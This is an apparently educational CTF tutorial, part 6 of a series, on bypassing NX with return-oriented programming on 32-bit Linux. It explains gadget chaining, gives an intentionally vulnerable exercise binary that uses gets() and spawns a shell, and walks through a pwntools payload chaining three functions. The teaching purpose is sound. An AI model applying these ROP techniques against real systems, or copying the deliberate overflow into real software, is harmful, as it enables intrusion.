How do I even pwn anything? Part 6— Return-Oriented Programming
Explore how to perform Linux Binary Exploitation from Capture-the-Flag (CTF) competitions.
Course Link
You can find all the files required for the exercises on GitHub.
No eXecute (NX)
Unfortunately, modern binaries now contain the NX flag, which defines areas of memory as either instructions or data. It then makes it so that memory can only be either writable or executable, but never both (W ^ X).
This makes Shellcode useless! Is it over? Without a provided win function, and a place to write and execute our own code, how can we possibly pwn anything?
Return-Oriented Programming (ROP)
The magic of ROP is instead of writing and executing your own instructions, we can just chain a bunch of code that is already present in the binary itself. Since these parts will definitely be marked as executable (because the binary needs to run), this can be used to bypass NX.
In fact, you may not know it already, but if you’ve tried the previous exercises, you’ve used it twice already! Once for the Ret Gadget
while aligning the stack to 16-bytes and the JMP RSP Gadget
to form reliable Shellcode.
Passing Parameters
Of course, there are differences between 32-bit and 64-bit binaries. Parameters are pushed onto the stack for 32-bit but stored in the registers for 64-bit.
int func(int a, int b, int c, int d, int e, int f) {
return a + b + c + d + e + f;
}
int main() {
func(1, 2, 3, 4, 5, 6);
}
Visualising The Stack
Let’s take a look at how the stack handles memory when we overwrite the return address with the address of the func()
function in a 32-bit system.
int func(int arg1) {
return arg1;
}
int main() {
char buffer[256];
gets(buffer);
}
There are 2 things of interest here. Firstly, notice how 0x1
becomes the first argument of func()
? Another thing to note is that the program performs a ret
on where BBBB
is.
Since EIP
goes to 0x42424242
, we can chain multiple return addresses together to call multiple functions!.
int func1(int arg1) {
return arg1;
}
int func2(int arg2) {
return arg2;
}
int main() {
char buffer[256]
gets(buffer);
}
Let’s see how we can overflow the return pointer to call both func1()
and func2()
with the arguments 0x1
and 0x2
respectively.
Those eagle-eyed among you may have noticed that the program would crash as EIP
attempts to jump to 0x1
, which is not a valid location. This means that with our current layout, we can chain a maximum of 2 functions, each with 1 argument (Of course, we can also have 1 function with 2 arguments).
However, what if we need to chain more than 2 functions? What if each functions need 2 or more arguments? Introducing, ROP Gadgets, which are machine instructions that are already present in the binary.
In this case, a POP-RET Gadget
would be the most useful for this situation. This is an address in the binary that is a pop
instruction followed by a ret
instruction. By placing this gadget in between the function address and argument, we can infinitely chain our functions!
Notice how the stack layout is exactly how we started? The ESP
register is pointing to the stack which contains the address of the next function in the chain!
What if there are 2 or more arguments? Simply just find a POP-POP-RET Gadget
! The parameters you have, the more POP
instructions you need.
Great! How can we find such gadgets! Luckily, Pwndbg has integration for ropper, which allows us to search for gadgets. For example, a POP-RET Gadget
can be found using the following command.
Great! But numbers may not be very useful. Recall that C strings are just character arrays, and the program reads from the contents from the address given until it hits a null-byte.
This means that we can reuse strings that are already present in the binary by passing the address of the string as the parameter.
Exercise
Return To Function — Chaining a bunch of gadgets to chain multiple functions together
You can find the binary and source code in at ret2func32. If you deployed the services locally, this exercise can be accessed using nc localhost 30004
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
bool win1 = false;
bool win2 = false;
void func1(int arg1) {
if (arg1 == 0xdeadbeef)
win1 = true;
}
void func2(int arg2) {
if (arg2 == 0xcafebabe)
win2 = true;
}
void win(char* secret) {
if (!(win1 && win2)) {
return;
}
if (!strncmp(secret, "magicman", 8))
system("/bin/sh");
}
void vuln() {
char buffer[64];
gets(buffer);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
puts("Guess my name");
vuln();
puts("Wrong!");
return 0;
}
Solution
If you didn’t manage to pwn it, do not worry, look at the solution and see if you can replicate it for yourself.
To begin, let’s use the De Brujin sequence to calculate the padding so we can overwrite the return pointer.
Next, let’s get the address of func1()
with pwntools and 0xdeadbeef
as the function argument. We can use the p32()
function to convert it into bytes little endian mode.
FUNC1 = p32(elf.sym["func1"])
ARG1 = p32(0xdeadbeef)
Let’s do the same with func2()
and 0xcafebabe.
FUNC2 = p32(elf.sym["func2"])
ARG2 = p32(0xcafebabe)
Here comes the tricky part, where we need to pass the string magicman
into the function as an argument. Fortunately, we can just reuse the string in the binary by locating the address of the start of the string.
WIN = p32(elf.sym["win"])
SECRET = p32(next(elf.search(b"magicman\x00")))
We have one last missing piece. The POP-RET
gadget! We can find this using pwntools once again by using the rop.ebx.address
. Of course, it does not need to be ebx
, it can be any register, I just happen to choose it. Alternatively, you can use ropper to select from a list of addresses. Remember to use p32()
to convert it into bytes in little endian mode too.
Putting it all together, we can place the gadget between the function address and argument and continue chaining it.
EXPLOIT = FUNC1 + POP_RET + ARG1 + \
FUNC2 + POP_RET + ARG2 + \
WIN + POP_RET + SECRET
Solution can be found here.
In the next part, we will learn how to do the same thing but with 64-bit systems.